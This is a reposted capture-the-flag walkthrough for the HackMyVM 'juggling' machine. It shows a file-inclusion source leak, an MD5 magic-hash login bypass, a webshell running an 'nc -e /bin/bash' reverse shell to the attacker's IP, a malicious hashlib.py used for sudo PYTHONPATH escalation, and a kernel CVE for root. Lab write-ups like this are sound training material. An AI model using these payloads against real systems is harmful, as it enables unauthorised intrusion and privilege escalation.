当前位置:网站首页>hackmyvm: juggling walkthrough
hackmyvm: juggling walkthrough
2022-08-02 03:59:00 【xdeclearn】
1. get first shell
port scan:

add juggling.hmv to hosts and browsing port 80.

there is a file inclusion in the url blog.php?page=test

use this url by php pseudo-protocol, we get the source code of index.php.

base64 decode:
<?php
session_start();
require_once("sqldb_config.php");
if(isset($_SESSION['username'])) {
header("Location: admin.php");
die();
}
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$val1 = $_POST['val1'];
$val2 = $_POST['val2'];
$magicval = strcasecmp($val1,$val2);
$key = md5("$username".$password);
if (empty($val) && empty($val2)) {
echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Empty </h1>';
header("Refresh:3");
} else {
if ($val1 === $val2) {
echo '<br><h1 style="text-align:center;color:red;"> Value 1 and Value2 can\'t be Same </h1>';
header("Refresh:3");
} else {
if ($key == number_format($magicval * 1337)) {
$_SESSION['username'] = "ryan";
header("Location: admin.php"); die();
# header("Location: http://s3cur3.juggling.hmv/index.php");
header("Location: ../s3cur3/index.php");
} else {
header("Refresh:3");
}
}
}
}
?>
get a new url from the source code ../s3cur3/index.php and new host s3cur3.juggling.hmv. Add this host to hosts. By file inclusion see the index.php source code. Find eval, but this also need session.

how to get the session?
from the first code, set username=s87892, password=6199a(you can use other username and password, please visit https://github.com/spaze/hashes/blob/master/md5.md), so the md5(“$username”.$password) for key is 0e545993274517709034328855841020. set val1=test, val2=TEST, so the number_format($magicval * 1337) is 0. By md5 equal bypass, we get the session.

use this session, use post method to visit http://s3cur3.juggling.hmv/index.php. Finally by test.txt, write a simple shell test.php`.

content in test.txt: system("/bin/nc -e /bin/bash 192.168.85.169 4444");
get the first shell.

2. get the user’s privilege
check sudo, find user rehan can run md5.py with no password and can set the env. so change the env “PYTHONPATH” to user-defined paht “/tmp/test”, and there is a python file named hashlib.py.
import os
class Test(object):
def __init__(self, test):
self.test = test
def hexdigest(self):
return self.test
def md5(test):
os.system("/bin/bash -i")
return Test(test)
run command: sudo -u rehan PYTHONPATH=/tmp/test /opt/md5.py, get the user rehan.

3. get root
use CVE-2022-0847, get root privilege.

边栏推荐
- 4. PHP array and array sorting
- Batch replace file fonts, Simplified -> Traditional
- MySql高级 -- 约束
- Solve the problem of uni - app packaged H5 website to download image
- 4.PHP数组与数组排序
- PHP8.2中字符串变量解析的新用法
- [league/flysystem]一个优雅且支持度非常高的文件操作接口
- 16. JS events, string and operator
- [symfony/finder]最好用的文件操作库
- Praying: 1 vulnhub walkthrough
猜你喜欢

kali安装IDEA
![[league/climate]一个功能健全的命令行功能操作库](/img/ce/39114b1c74af649223db97e5b0e29c.png)
[league/climate]一个功能健全的命令行功能操作库

PHP8.2 version release administrator and release plan
![[sebastian/diff] A historical change extension library for comparing two texts](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff] A historical change extension library for comparing two texts

CTF入门笔记之ping

MOMENTUM: 2 vulnhub walkthrough

点名系统和数组元素为对象的排序求最大值和最小值

DarkHole: 2 vulnhub walkthrough

Stable and easy-to-use short connection generation platform, supporting API batch generation

Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
随机推荐
hackmyvm: kitty walkthrough
百度定位js API
多线程(实现多线程、线程同步、生产者消费者)
[campo/random-user-agent]随机伪造你的User-Agent
DarkHole: 2 vulnhub walkthrough
IP门禁:手把手教你用PHP实现一个IP防火墙
js __proto__、prototype、constructor的关系
Stable and easy-to-use short connection generation platform, supporting API batch generation
TypeScript error error TS2469, error TS2731 solution
ES6介绍+定义变量+不同情况下箭头函数的this指向
14.JS语句和注释,变量和数据类型
What are the PHP framework?
When PHP initiates Alipay payment, the order information is garbled and solved
PHP有哪些框架?
Xiaoyao multi-open emulator ADB driver connection
After the mailbox of the Pagoda Post Office is successfully set up, it can be sent but not received.
Kali环境下Frida编写脚本智能提示
uniapp | 开发中遇到的兼容性问题(待续)
[symfony/finder]最好用的文件操作库
2. PHP variables, output, EOF, conditional statements